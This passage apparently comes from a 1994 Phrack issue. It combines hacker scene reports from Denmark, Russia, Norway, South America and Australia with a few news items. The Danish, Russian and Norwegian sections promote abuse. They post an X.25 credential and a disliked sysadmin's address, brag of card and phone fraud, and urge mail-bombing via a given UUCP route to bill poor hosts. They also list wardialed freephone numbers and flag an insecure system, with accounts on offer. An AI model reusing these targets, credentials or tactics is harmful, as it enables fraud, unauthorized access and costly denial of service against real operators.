However, X25 can be a dangerous thing to use. Especially if you only have a single NUI to use. The phone company is having some trouble tracing the 171, but all calls made in DK on digital lines are logged. So, when some corporation gets a bill on, say 2‑3000$ or an amount much higher than usual, the phone company can compare the logs on who dialed 171, to the X25 logs, on which date and time the NUI in question was abused, and figure out who abused the NUI. On analog lines the logging is harder to do, and only goes back a month or so. The format of the NUIs consist of a user number and a password. The first char indicates either a K or J, depending on the NUI's owner, either located under KTAS or JTAS districts. Jutland is covered by JTAS and Copenhagen Sjlland, by KTAS. Then follows 7 or 8 numbers and usually a word of 7‑8 chars. Like, K0100872DKDIANEC, this is a valid NUI open for public use by everybody, but its restricted to only to connect to a specific system. Sum lame menu database thing. Most NUI's allows access to most computers, world wide on the X25 network, by an NUA (network User Address). The most use of X25 is to gain free access to Internet by connecting to a PAD which allows telnet. Most of the telnet PAD's has been closed recently because of an increasing (ab)use. However, there is still sites like isosun‑t. ariadne.gr which carries an X25 PAD, and because the sysadm there comes off like a dick and is a jerk I'll give u all his NUA. Its 020233181282010. Also, check out gw.sdbs.dk, carries a 9k6 x25 link as well as normal Inet axx.

A few people to mention, who either has or is playing an important part of the Danish hacking community:

JubJub Bird, Sprocket, Saron, Ravan, Netrunner / Sense/NET, Descore, WedLock, Le Cerveau, Parrot‑Ice, Jackal, Temp, Therion, and myself I guess... :)

If u like, check out:

Free Speech Inc. (+45) 4 582 5565 SysOp: NiteCrawler

Freeside (+45) 3 122 3119 ‑"‑ : Descore (Off. CJ Dist. site.)

This is it. Hope u enjoyed this little file. We are always happy to meet foreign hackers, so call one of the above boards and lets exchange accou.. ehh... intercultural hacking research information :)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Why would you or why wouldn't you want to hack in the ex‑USSR or in other words what the hell do we do up here.

By Digital Empiror and Stupid Fucker

Russia is a great country, with absolutely no laws against hacking or phreaking, both are very easy to do and get away with. It's for that reason, that most of the famous online services like CompuServe and Delphi closed registrations coming out of the biggest country in the world via SprintNet, (you guys think we still can't get in? ... take that as a hint). If some great telephone company installed a payphone that can charge calls onto a credit card (very rare in this country) then we can use it as well, credit card numbers are not hard to compile, especially if you know that it is not really illegal. What about those great cellular telephones, you know, we love to use those for free, (can't you guys get it? we know that we are pain in the ass, but LIVE WITH IT!).

Most of our switchboards in Russia are very ancient, screwed up relay‑analog switches, they don't have methods for protocol‑ing telephone calls and present undependable methods for identifying telephone numbers. Also there is special equipment which allows making it impossible to detect your phone number, or even making detection equipment mistake your phone number. Interstate switchboards have to have special methods of detecting your phone number, which are of course only accessible to Interstate switchboards and not to the rest of commercial companies. There was a case once were SprintNet caught one of our great hackers, but he had sent them to his great grandfather's (wanna try doing that with the FBI?) because as he said 'You can't really be sure that it was really ME calling since in this country you can't rely on your number detection equipment...'

Another great thing is how the networks are set up in Russia. The greatest and the biggest X.25 network is of course SprintNet (for which they have to pay of course, if not them then somebody else...), it's a little slow here, but that's OK. The administrators who set up the PADs are very lame and stupid, and of course can't set up their PADs like SprintNet would want them to. They can, for example, they were setting up their PAD so, that it would let you connect with virtually ANY system without asking for a NUI, and even when they detected, that hackers do it, they couldn't do anything besides changing their PAD instead of just changing one register!

Besides that, their is no problem with finding a NUI for Russian X.25 networks, most of them don't support collect calls like SprintNet, so most Russian services that would like their customers to access their service via X.25 give the users a unique NUI, that specifies that they can only access THIS service, but they usually forget to set it up right so the stupid customers like another of our great hackers, will instead of getting charged for the service, go to an outdial and call his favorite BBS in Clearwater, FL for an example (do they have boards there?). I don't know if you like to access CitiBank machines from SprintNet, but we love to do stuff like that. For example, recently we found a lone standing computer, I don't think the guys in CitiBank really understood what they were doing when they left their modem setup option on that machine without a password, it was a pleasure to change their modem strings knowing that it's absolutely legal to do so and nobody has even a right to call about it! Also there are Internet providers in Russia, only two, from which only one is interesting ‑ RELCOM! Most of Internet in Russia is done via UUCP and costs a bundle of money, so if I am in a bad mood, I'll drop 10‑20 megs of mail into an address that doesn't exist, and will laugh and you know why? In RELCOM, everybody pays the central router ‑ KIAE.SU, so if you send megs of stuff, it will go through a lot of systems that will have to pay first each other then to KIAE.SU, but there will be THE last system, that will say 'ya know? there is no such address!', so then the trouble will start. So if you are in a bad mood, then please, do us a favor, drop a gig or 2 to machine that does not have an IP address, better for it to go via a few of those machines, for example, to be original:

kaija.spb.su!arcom.spb.su!<any machine in USA>!kiae.su!kaija.spb.su!root

I am sure if you have NSLOOKUP, you can be original and make your best route via a dozen systems. When doing it, you can be sure, that it will call a lot of arguments from every one of that dozen concerning to who will pay for that gig (1mb of mail in Russia costs $50 ‑ $150, that enough money for poor Russian Internet hosts).

It's all really great, but we are all on our own, and are not organized into a group. There are not many of us and we are not known by any of our western colleagues, to contact us, mail us at:

an58736@anon.penet.fi

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

PhreeFone Numbers in Norway Research and Norwegian Edition by

cyber aktiF (01‑Feb‑94)

English Translation by Codex/DBA (26‑Apr‑1994)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

DISCLAIMER: The author of this document takes no responsibility as to how the information herein is used. I hope everyone who uses this information use it for inquisitive purposes only, and don't use it for ANY destructive purposes whatsoever.

WARNING: Unauthorized use of PBX and other communications equipment owned by others, be it private or business, is illegal and may result in banishment from the Norwegian telephone company (Televerket) and/or punishment by law.

‑‑‑

After many sporadic travels over the phone network, in other words scanning the number region 800 3xxxx, I've come across several interesting things. I therefore thought it was in its right place to make a complete list of which numbers have a carrier and which have not. The carriers only apply to modems. Televerket has (currently) allocated the region 800 30000 to 800 3500 for these services.

These lines are 100% phreefone, which means that the owner of these services pays for the conversation plus a surcharge per unit. This allows for long permutations of numbers and passwords without adding to your own phone bill. On the other hand, the owner of the line will have a phonebill which equals American Express's.

Televerket and/or the company/person supplying the service(s) have NO problem finding out what the caller's number is. This is regardless whether or not you have filled in the "don't reveal my number to those I call" part of Televerket's connection form/document. Therefore, nosing around these numbers should be done with some care.

I haven't tried blueboxing 800 numbers (too much work for something which is free in the first place), but theoretically it is possible. [Codex: Would this lessen the number identification risk?]

I had severe difficulties with a number which answered with an 1800Hz tone in 1 second, after which it became silent. This box phoned me in intervals of 5 minutes from 12:00 the next day ‑‑ in other words, an automatic WarDial :/. If you discover the same problem, the following solution is a guaranteed success: Program your local trunk to send all incoming calls to ANOTHER number which answers with an 1800Hz tone. Let this be active an hour's time, and you should be rid of it.

‑ MODEM

The list of numbers where modem carriers are commented with a single line. I haven't (at the time of writing) done a deeper investigation of any of the services, so none of them should be inactive.

There are several interesting things ‑‑ especially the gateways and the X.25 PAD. Please note that the security at most of the systems are pretty good. Obscure terminal types, data locks and systems which won't identify themselves are the most common types. Someone has done a good job in making the system safe from unauthorized sources. However, as said before, phreefone numbers can be exposed to attacks and permutations of zimmering quantities.

When I had a look at the unidentified services, the best way to connect was using a raw‑mode tty which won't accept special characters. If you run a cooked‑mode terminal, the text will become even more unreadable.

‑‑ Modem carrier tones ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

80030004 ‑ Data Lock (1)

80030010 ‑ *no output*

80030067 ‑ *no output*

80030068 ‑ Courier ASCII Dev. adapter

80030078 ‑ Courier ASCII Dev. adapter

80030095 ‑ Modem Outdial (password)

80030115 ‑ *no output*

80030130 ‑ *uknown*

80030180 ‑ *uknown*

80030225 ‑ *no output*

80030301 ‑ *no output*

80030404 ‑ *unknown* ‑ prompts @ter

80030456 ‑ *unknown* ‑ terminal

80030485 ‑ *unknown*

80030456 ‑ Data Lock 4000 (1)

80030514 ‑ garbage ‑ password

80030606 ‑ *no output*

80031040 ‑ *no output*

80031065 ‑ *no output*

80031315 ‑ IBM Aix v3 RISC system/6000 (2)

80031470 ‑ garbage

80031490 ‑ Dr V.Furst. Med. Lab

80031666 ‑ prompts ‑ @ter

80031815 ‑ prompts ‑ <

80031920 ‑ *unknown* ‑ password

80031950 ‑ *unknown* ‑ hangup after 5 seconds

80032165 ‑ Dr V.Furst. Med. Lab

80032340 ‑ *uknown*

80032410 ‑ Wangvs VAX/VMS

80032470 ‑ *no output*

80032480 ‑ Perle Model 3i ‑ V 02.00G ‑ Apotekernes F. Innkj 80032590 ‑ *unknown* ‑ password

80032635 ‑ *unknown* ‑ terminal

80033338 ‑ TSS Gateway (3)

80033443 ‑ *no output*

80033490 ‑ *no output*

80033580 ‑ *unknown* ‑ hangup after 5 seconds

80033601 ‑ *no output*

80033620 ‑ TIU Gateway (3)

80033720 ‑ *no output*

80033815 ‑ *unknown* ‑ hangup after 5 seconds

80033914 ‑ *unknown* dumps lots of texts [Codex: What type?] 80034248 ‑ *unknown* ‑ prompts for login

80034866 ‑ X.25 PAD

(1) DATA LOCK

If someone can get into one of these, he/she can look forward to getting a Nobel prize. Data locks are modem front‑end protectors, almost impossible to crack without physical access.

(2) IBM AIX

AIX is one of the best flavors of UNIX there is (even though it was made by IBM) ‑‑ unfortunately the security at this site was so terrible that anyone with a minimal knowledge of UNIX and access to this machine could pull it apart blindfolded (making the life really unpleasant for the estate agents who own the LAN. Write me for an account ;).

(3) GATEWAYS

Free internet access within grasping distance if you can break through. Not easy, but possible. ;) I am already working on it, so I'm not sure how long it will take until they increase the security.

[Codex: Comment about Study‑By‑Byte removed, as I didn't know what to call the school in English ;). Another fact was that since no number was provided, and little seemed to be gained by access to this site anyway, I figured it wasn't too important. Get hold of cyb3rF is you really think it's needed.]

‑‑ End of modem carrier listing ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑ VOICE/PBX/FAX

Here, ladies and gentlemen, is the list of all the phones in the 800 3xxxx region which answer. Which is what, I'll leave up all you people out there. I have mapped some of the list, but won't spread it [Codex: Yet? ;)].

Only one number per line is noted down. This is to easy the job for everyone who's going to (and you will try ;) run these numbers through their scanner scripts on the lookout for PBX's and other oddities.

Good luck guys!

cyber aktiF ‑ 01/02/94

‑‑ Answering 800 3xxxx services ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

80030000

80030001

80030002

80030003

80030005

80030006

80030007

80030008

80030009

80030011

80030012

80030014

80030015

80030016

80030017

80030018

80030019

80030022

80030023

80030024

80030025

80030027

80030028

80030029

80030030

80030032

80030033

80030035

80030036

80030037

80030043

80030044

80030045

80030046

80030048

80030050

80030051

80030053

80030055

80030057

80030058

80030060

80030065

80030066

80030070

80030071

80030072

80030073

80030074

80030075

80030077

80030080

80030082

80030088

80030094

80030096

80030097

80030098

80030099

80030100

80030101

80030102

80030103

80030105

80030106

80030110

80030111

80030113

80030114

80030116

80030120

80030131

80030136

80030140

80030144

80030151

80030155

80030160

80030166

80030170

80030171

80030175

80030177

80030189

80030190

80030195

80030199

80030200

80030202

80030203

80030205

80030210

80030211

80030212

80030213

80030215

80030222

80030227

80030230

80030233

80030235

80030239

80030250

80030255

80030258

80030260

80030265

80030270

80030275

80030277

80030288

80030290

80030294

80030295

80030297

80030299

80030300

80030302

80030303

80030305

80030306

80030308

80030310

80030311

80030313

80030315

80030318

80030319

80030322

80030323

80030330

80030333

80030336

80030337

80030340

80030344

80030345

80030355

80030360

80030363

80030366

80030377

80030380

80030388

80030390

80030395

80030400

80030401

80030407

80030408

80030411

80030415

80030420

80030422

80030433

80030440

80030445

80030450

80030452

80030466

80030470

80030472

80030475

80030480

80030488

80030490

80030495

80030500

80030501

80030502

80030511

80030520

80030522

80030531

80030540

80030545

80030550

80030555

80030560

80030565

80030566

80030570

80030571

80030580

80030585

80030600

80030601

80030603

80030600

80030601

80030603

80030610

80030616

88030640

80030650

80030666

80030670

80030680

80030683

80030690

80030700

80030701

80030707

80030725

80030730

80030750

80030770

80030777

80030788

80030800

80030803

80030811

80030828

80030830

80030840

80030844

80030850

80030855

80030860

80030866

80030870

80030875

80030880

80030888

80030889

80030890

80030900

80030906

80030910

80030911

80030915

80030920

80030922

80030930

80030940

80030950

80030955

80030959

80030960

80030975

80030990

80030994

80031000

80031001

80031006

80031007

80031008

80031010

80031020

80031030

80031031

80031043

80031044

80031048

80031055

80031058

80031060

80031064

80031066

80031070

80031075

80031080

80031082

80031085

80031092

80031097

80031103

80031108

80031110

80031111

80031112

80031113

80031122

80031123

80031140

80031144

80031150

80031151

80031155

80031160

80031166

80031180

80031188

80031200

80031210

80031211

80031212

80031220

80031221

80031229

80031230

80031231

80031234

80031240

80031241

80031244

80031250

80031255

80031266

80031288

80031290

80031300

80031306

80031310

80031313

80031318

80031336

80031340

80031343

80031344

80031355

80031360

80031366

80031400

80031404

80031410

80031412

80031420

80031422

80031430

80031440

80031441

80031447

80031455

80031460

80031466

80031510

80031535

80031540

80031545

80031550

80031560

80031566

80031570

80031571

80031580

80031590

80031600

80031606

80031610

80031611

80031620

80031630

80031631

80031640

80031660

80031661

80031680

80031688

80031690

80031700

80031701

80031707

80031713

80031717

80031740

80031760

80031777

80031780

80031800

80031801

80031809

80031811

80031820

80031830

80031831

80031833

80031840

80031850

80031851

80031866

80031880

80031888

80031900

80031907

80031919

80031927

80031937

80031947

80031957

80031958

80031959

80031970

80031994

80031995

80031999

80032000

80032001

80032002

80032005

80032008

80032011

80032020

80032032

80032040

80032062

80032066

80032080

80032092

80032101

80032105

80032113

80032123

80032130

80032140

80032144

80032150

80032152

80032155

80032166

80032173

80032176

80032200

80032202

80032210

80032212

80032220

80032222

80032223

80032225

80032232

80032255

80032280

80032320

80032323

80032325

80032330

80032332

80032333

80032350

80032355

80032383

80032390

80032399

80032400

80032412

80032415

80032420

80032424

80032425

80032432

80032444

80032450

80032455

80032460

80032466

80032500

80032511

80032520

80032525

80032530

80032540

80032550

80032555

80032560

80032565

80032571

80032578

80032600

80032639

80032660

80032666

80032668

80032680

80032690

80032750

80032754

80032808

80032820

80032832

80032850

80032875

80032880

80032899

80032900

80032907

80032927

80032987

80032990

80032997

80033000

80033003

80033011

80033013

80033016

80033300

80033301

80033302

80033303

80033304

80033305

80033306

80033310

80033311

80033312

80033313

80033315

80033317

80033318

80033320

80033321

80033322

80033325

80033330

80033331

80033332

80033333

80033334

80033335

80033341

80033345

80033350

80033353

80033355

80033370

80033372

80033373

80033377

80033380

80033383

80033385

80033394

80033399

80033410

80033411

80033420

80033432

80033433

80033440

80033444

80033445

80033448

80033450

80033455

80033456

80033460

80033466

80033477

80033488

80033499

80033500

80033505

80033510

80033515

80033520

80033535

80033540

80033550

80033555

80033566

80033567

80033570

80033577

80033585

80033590

80033600

80033610

80033611

80033616

80033622

80033626

80033630

80033633

80033644

80033650

80033655

80033660

80033666

80033670

80033678

80033690

80033711

80033717

80033730

80033733

80033740

80033760

80033770

80033775

80033777

80033779

80033780

80033788

80033800

80033808

80033810

80033818

80033820

80033833

80033838

80033840

80033844

80033855

80033856

80033860

80033866

80033880

80033888

80033890

80033899

80033900

80033920

80033930

80033933

80033940

80033950

80033960

80033970

80033977

80033980

80033990

80033994

80033999

80034000

80034011

80034020

80034022

80034024

80034025

80034030

80034033

80034034

80034035

80034040

80034043

80034044

80034050

80034055

80034070

80034077

80034080

80034088

80034090

80034100

80034110

80034111

80034115

80034123

80034125

80034134

80034135

80034140

80034144

80034150

80034155

80034160

80034166

80034170

80034180

80034210

80034220

80034222

80034240

80034250

80034260

80034266

80034270

80034880

80034888

80034889

80034910

80034966

80034988

80034999

80035000

‑‑ End of list of answering 800 3xxxx services ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This file was brought to you in English by Codex/DBA, 26‑Apr‑1994. I didn't ask cyb3rF for permission to translate this document, but I hope he won't mind. I also understand that the document is of varied use to some people (those of you who can't dial in free to Norway (cc 47), don't bother), but I thought any information, however useful might be of some interrest to the English speaking crowd out there.

Re: cyb3rF, Sicko, BattleAng, Maelstrom, Uridium, Enigma, Golan, BadS, vale_ and any other people I've forgotten to mention right now (flame me on #phreak, guys ;).

I'll be back in Norway in June.

Codex/DBA, 26‑Apr‑1994.

‑‑ "Men I haelvete gutar, vaent paa meg!!" ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

More about the Argentine Internet scenery.

It's difficult to add something to an already good article like Opii's one, but here is some info which may interest you besides what you already know:

* The local Net started as late as January 1989, when the National Commission for Atomic Power (CNEA) connected to the BITNET network. The three first nodes were: ARGCNE (an IBM 9370‑60 mainframe), ARGCNEA1 (IBM/370 158), and ARGCNEA2 (Comparex 7/68), all running RSCS V1. Release3 for data comm.

The node ARGCNEA2 was (I think it still is) the main link in Argentina to Bitnet. Until late 1992, they still used a manual DIAL‑UP LINK (!) to the Chilean node UCHCECVM (IBM 4341MO2) at the Chile's National University in Santiago city, connecting at 9600 bps to exchange mail. I'm not sure about if the Chilean link is still working, due to the existing new leased line connection of the government's foreign office.

In mid‑1990, the national university of La Plata, joined ranks and also connected to the Bitnet network. The two nodes, CESPIVM1 and CESPIVM2 (Running on IBM mainframes) also served as hosts to a VAX 11‑780, and a experimental link to some computers in Uruguay's (country) national University.

Another different beast is what's called the RAN network (National Academic Network), which is nothing more than a UUCP network connecting a hundred different nodes through the country. Again, until mid‑92 they used X.25 ARPAC connections (!!EXPENSIVE!!) and manual Dial‑up calls(!!) for the "international" connection into UUCO. More recently (two months ago), they have got their own 64kbps leased line to the US, which finally will let people around the world to mess and GET into our computers :‑).

While the project was to connect to Maryland University (financed by the US National Science Foundation, they love us), I still don't know what's the host at the other side of the leased line.

Well, that's the end of the FACTS that I have... now some political opinions: Things are getting a *little* better, but I don't expect any improvements for "Joe average" user, since to make things work, we must get rid off the current LD and data monopoly of the two European private telcos that own us. Until 1999, they have the exclusive right to use and abuse the market of both voice and data transmissions, and no competition can enter without passing through their satellite links (and rates). Very nice for a government that is always speaking of "free markets".

Until we get AT&T and/or MCI competing for the market, we won't have affordable rates, and US companies like CIS, Delphi, etc. than could be doing BIG business NOW, will have to wait until late 1999, when the monopoly ends by law. (Or, BTW: or they can talk to Mr. Al Gore, so he can kick a little our beloved president to end the telcos ripoff).

Chileans, in contrast, have a lot better scene, with well‑established direct internet links, an X.25 network with 9600bps access through the country, and even Gopher servers since a long time ago!.

Following is a quick and dirty list of Internet domains for both Chile and Argentina:

ARGENTINA:

ar.ar (unspecified)

athea.ar (unspecified)

atina.ar (united nations development programme, argentina) (RAN UUCP HOST) ba.ar (unspecified)

cb.ar (unspecified)

com.ar (unspecified)

edu.ar (unspecified)

gov.ar (government of argentina) <‑ give my regards to our corrupt gvt! mz.ar (unspecified)

ncr.ar (national cash register corporation, argentina)

nq.ar (unspecified)

org.ar (centro de estudios de poblacion corrientes',)

sld.ar (unspecified)

subdomain.ar (unspecified)

test.ar (unspecified)

tf.ar (unspecified)

tm.ar (unspecified)

buenosaires.ncr.ar (national cash register corporation, buenos aires, arg) city.ar.us (unspecified)

datage.com.ar (unspecified)

guti.sld.ar (unspecified)

secyt.gov.ar (unspecified)

unisel.com.ar (unspecified)

unlp.edu.ar (universidad nacional de la plata, argentina)

CHILE:

altos.cl (altos chile limiteda. el corregidor, santiago, chile) apple.cl (axis calderon, santiago, chile)

ars.cl (ars innovandi (el arte de innovar), chile)

bci.cl (unspecified)

campus.cl (indae limiteda. area de computacion, manuel montt, chile) cepal.cl (comision economica para america latina (cepal) santiago, chile) conicyt.cl (unspecified) <‑‑ Government education branch

contag.cl (contagio avda. ricardo lyon, idencia, santiago, chile) cronus.cl (familia fuentealba olea, chile) <‑‑ a family with their node! difusion.cl (editorial difusion, chile)

eclac.cl (unspecified)

epson.cl (epson, chile)

eso.cl (european southern observatory la silla, la serena, chile) frutex.cl (frutexport lota, santiago, chile)

fundch.cl (fundacion, chile)

fwells.cl (fundacion wells claro solar, casilla, temuco, chile) gob.cl (unspecified) <‑‑‑ CHILEAN GOVERNMENT! Send a note to Mr. Pinochet! ingenac.cl (ingenac pedor de valdivia, idencia, santiago, chile) lascar.cl (university of catolica, chile)

mic.cl (las condes, santiago, chile)

ncr.cl (national cash register corporation, chile)

opta.cl (opta limiteda. las violetas, idencia, santiago, chile) orden.cl (orden huerfanos piso, fax, santiago, chile)

placer.cl (placer dome) <‑‑‑ WHAT IS THIZ??? "Pleasure dome?" !!!!!!!!!! puc.cl (catholic university of chile (universidad catolica de chile) rimpex.cl (rimpex chile pedro de valdivia, casilla, correo santiago, chile) safp.cl (superintendencia de administradoras de fondos de pensiones, chile) scharfs.cl (scharfstein, las condes, santiago, chile)

sisteco.cl (sisteco, santiago, chile)

sonda.cl (sonda digital teatinos, santiago, chile)

tes.cl (d.c.c. sistemas, chile)

uai.cl (unspecified)

ubiobio.cl (unspecified)

uchile.cl (universidad de chile)

ucv.cl (unspecified)

udec.cl (universidad de concepcion de ingenieria de sistemas,) unisys.cl (unisys, chile)

unorte.cl (universidad del norte, antofagasta, chile)

usach.cl (universidad de santiago de chile de ingenieria informatica,) uta.cl (universidad de tarapaca, arica, chile)

utfsm.cl (universidad tecnica de electronica, valparaiso, chile) ac.cam.cl (unspecified)

agr.puc.cl (agriculture department, catholic university of chile astro.puc.cl (catholic university of chile (pontificia universidad catolica bio.puc.cl (catholic university of chile santiago)

cec.uchile.cl (universidad de chile)

cfm.udec.cl (universidad de concepcion, concepcion, chile) dcc.uchile.cl (department o. de ciencias de la computacion) dfi.uchile.cl (universidad de chile)

die.udec.cl (universidad de concepcion de ingenieria de sistemas) dii.uchile.cl (universidad de chile)

dim.uchile.cl (universidad de chile)

dis.udec.cl (universidad de concepcion, concepcion, chile) disca.utfsm.cl (universidad tecnica federico santa maria, chile) dpi.udec.cl (universidad de concepcion de ingenieria de sistemas) elo.utfsm.cl (universidad tecnica federico santa maria, ) finanzas.fundch.cl (fundacion, chile)

fis.utfsm.cl (universidad tecnica federico santa maria,) inf.utfsm.cl (universidad tecnica federico santa maria,) ing.puc.cl (engineering, catholic university of chile )

mat.puc.cl (mathematics department, catholic university of chile mat.utfsm.cl (universidad tecnica federico santa maria,

qui.puc.cl (catholic university of chile santiago)

seci.uchile.cl (universidad de chile)

soft.udec.cl (universidad de concepcion de ingenieria de sistemas,)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Australian Scene Report Part II

by Data King

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This is the sequel to the Australian scene report that appeared in Phrack Issue 45. There have been a few developments since I wrote that report which I think people may be interested in.

Old NEWS

~~~~~~~~

But first before I deal with what's new, I need to deal with something that's old. Shortly after Phrack 45 was published, I received a fakemail that basically threatened me and also made a lot of claims, I would like to take this opportunity to reply to the author of this letter.

First of all this person claims I have not been in the scene for ages, well if I am not in the scene that is news to me!

The letter contained several threats to do something like redirect my telephone number to a 0055 number, for people outside of Australia, a 0055 is a recorded timed call service.

To this I say: 'Go ahead, if your capable DO IT!'

I wont bother dealing with most of the rubbish contained in the article, it was just general BS.

Finally I have something to say directly to the person who wrote the mail: "If your so goddamn good, then don't hide behind fakemail, come out in the open and let us all fear you, come one get your lame ass on IRC and lets talk!"

Also I was told not to submit anything more to Phrack for publishing or bad things would happen, Well I guess either I have no phear, or I don't take these threats seriously.

New NEWS

~~~~~~~~

AusCERT

Australia is forming it's own version of CERT, to be called AusCERT and based in Queensland, Australia. Everybody is shaking in their boots worrying ‑ NOT!

Networks

In the last report you may remember I talked about the Australia Military Network in a very vague fashion, well now I have some more detailed info for you.

The Australian Defense Forces (ADF) have what they call "the Defense Integrated Secure Communications Network (DISCON)". This network is relatively new. Circuit switched operations only began in 1990. Packet switching came into effect during 1992.

It provides all the ADF's communication needs in terms of data, voice, video, and so on, secure and non secure communications.

Main control is exercised from Canberra (believed to be from within the DSD compound at Russell Offices), and the network is interconnected via a total of 11 ground stations across the country using Aussat.

Also the Australian Federal Police have an internet connection now. sentry.afp.gov.au is the main machine from what I can tell, from the looks of it, the machine is either a setup or they don't know much about security.

NeuroCon

There was a Con organized by The Pick held here in Melbourne a little while ago, from all reports it was a total disaster, once again showing the apathy of Australian people in the scene.

For Instance the organizers kept the location secret, and where supposed to pick people up in the city, at several allocated times they did not show up.

When one of the potential attendees rang and asked what was going on they were told by the organizers: "We are too drunk to come and get you".

Come on guys this is LAME, sure everyone likes a drink, but if you keep the location secret, make sure someone is able to go and get the people waiting to be picked up!

HackFEST 94

The Year is quickly approaching an end and as yet I have not managed to fully organize this event. I am in need of people who wish to speak on various topics, so if you are so inclined and have an idea, send me mail and we will see what we can organize.

As always I can be contacted at dking@suburbia.apana.org.au, but please note my PGP signature has changed, so please do a finger on the account if you want my new PGP signature.

Information in this article has come from various sources, but they shall remain nameless as they do not wish the attention of the AFP. They know who

Phrack World News

==Phrack Magazine==

Volume Five, Issue Forty‑Six, File 28 of 28

PWN PWN PNW PNW PNW PNW PNW PNW PNW PNW PNW PWN PWN

PWN PWN

PWN Phrack World News PWN

PWN PWN

PWN Compiled by Datastream Cowboy PWN

PWN PWN

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

Damn The Torpedoes June 6, 1994

~~~~~~~~~~~~~~~~~~

by Loring Wirbel (Electronic Engineering Times) (Page 134)

On May 3, a gargantuan satellite was launched with little press coverage from Cape Canaveral.

The $1.5 billion satellite is a joint project of the NSA and the National Reconnaissance Office. At five tons, it is heavy enough to have required every bit of thrust its Titan IV launcher could provide‑‑and despite the boost, it still did enough damage to the launch‑pad water main to render the facility unusable for two months.

The satellite is known as Mentor, Jeroboam and Big Bertha, and it has an antenna larger than a football field to carry out "hyper‑spectral analysis" ‑‑ Reconnaissance Office buzzwords for real‑time analysis of communications in a very wide swath of the electromagnetic spectrum.

Clipper and Digital Signature Standard opponents should be paying attention to this one. Mentor surprised space analysts by moving into a geostationary rather than geosynchronous orbit. Geostationary orbit allows the satellite to "park" over a certain sector of the earth.

This first satellite in a planned series was heading for the Ural Mountains in Russia at last notice. Additional launches planned for late 1994 will park future Mentors over the western hemisphere.

According to John Pike of the Federation of American Scientists, those satellites will likely be controlled from Buckley Field (Aurora, Colorado), an NSA/Reconnaissance downlink base slated to become this hemisphere's largest intelligence base in the 1990s.

[Able to hear a bug fart from space. DC to Daylight realtime analysis. And you Clipper whiners cry about someone listening to your phone calls. Puh‑lease.]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Discovery of 'Data Processing Virus Factory' In Italy February 17, 1994

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

AFP Sciences

It was learned in Rome on 10 February that a data processing virus "factory" ‑‑ in fact, a program called VCL (Viruses Creation Laboratory), capable of triggering a virus epidemic‑‑was discovered in Italy

Mr. Fulvio Berghella, deputy directory‑general of the Italian Institute for Bank Data Processing Security (ISTINFORM), discovered what it takes to enable just about anybody to fabricate data processing viruses; he told the press that its existence had been suspected for a year and a half and that about a hundred Italian enterprises had been "contaminated."

An investigation was launched to try to determine the origin of the program, said Mr. Alessandro Pansa, chief of the "data processing crime" section of the Italian police. Several copies of VCL were found in various places, particularly in Rome and Milan.

Producing viruses is very simple with the help of this program, but it is not easy to find. A clandestine Bulgarian data bank, as yet not identified, reportedly was behind all this. An international meeting of data processing virus "hunters" was organized in Amsterdam on 12 February to draft a strategy; an international police meeting on this subject will be held next week in Sweden.

Since 1991, the number of viruses in circulation throughout the world increased 500% to a total of about 10,000 viruses. In Italy, it is not forbidden to own a program of this type, but dissemination of viruses is prosecuted.

[So, I take it Nowhere Man cannot ever travel to Italy?]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

DEFCON TV‑News Coverage July 26, 1994

by Hal Eisner (Real News at 10) (KCOP Channel 13 Los Angeles)

[Shot of audience]

Female Newscaster: "Hackers are like frontier outlaws. Look at what Hal Eisner found at a gathering of hackers on the Las

Vegas strip."

[Shot of "Welcome to Vegas" sign]

[Shot of Code Thief Deluxe v3.5]

[Shot of Dark Tangent talking]

Dark Tangent: "Welcome to the convention!"

[Shot of Voyager hanging with some people]

Hal Eisner: "Well not everyone was welcome to this year's Def Con II, a national convention for hackers. Certainly federal agents weren't."

[Shot DTangent searching for a fed]

Dark Tangent: "On the right. Getting closer."

Fed: "Must be me! Thank you."

[Dark Tangent gives the Fed "I'm a Fed" t‑shirt]

Hail Eisner: "Suspected agents were ridiculed and given identifying t‑shirts. While conventioneers, some of [Shot of someone using a laptop]

which have violated the law, and many of which are [Shot of some guy reading the DefCon pamphlet] simply tech‑heads hungry for the latest theory, got [Shot of a frequency counter, and a scanner] to see a lot of the newest gadgetry, and hear some tough talk from an Arizona Deputy DA that [Shot of Gail giving her speech] specializes on computer crime and actually recognized some of her audience."

Gail: "Some people are outlaws, crooks, felons maybe."

[Shot back of conference room. People hanging]

Hal Eisner: "There was an Alice in Wonderland quality about all of this. Hackers by definition go where they are not invited, but so is the government that is trying to intrude on their privacy."
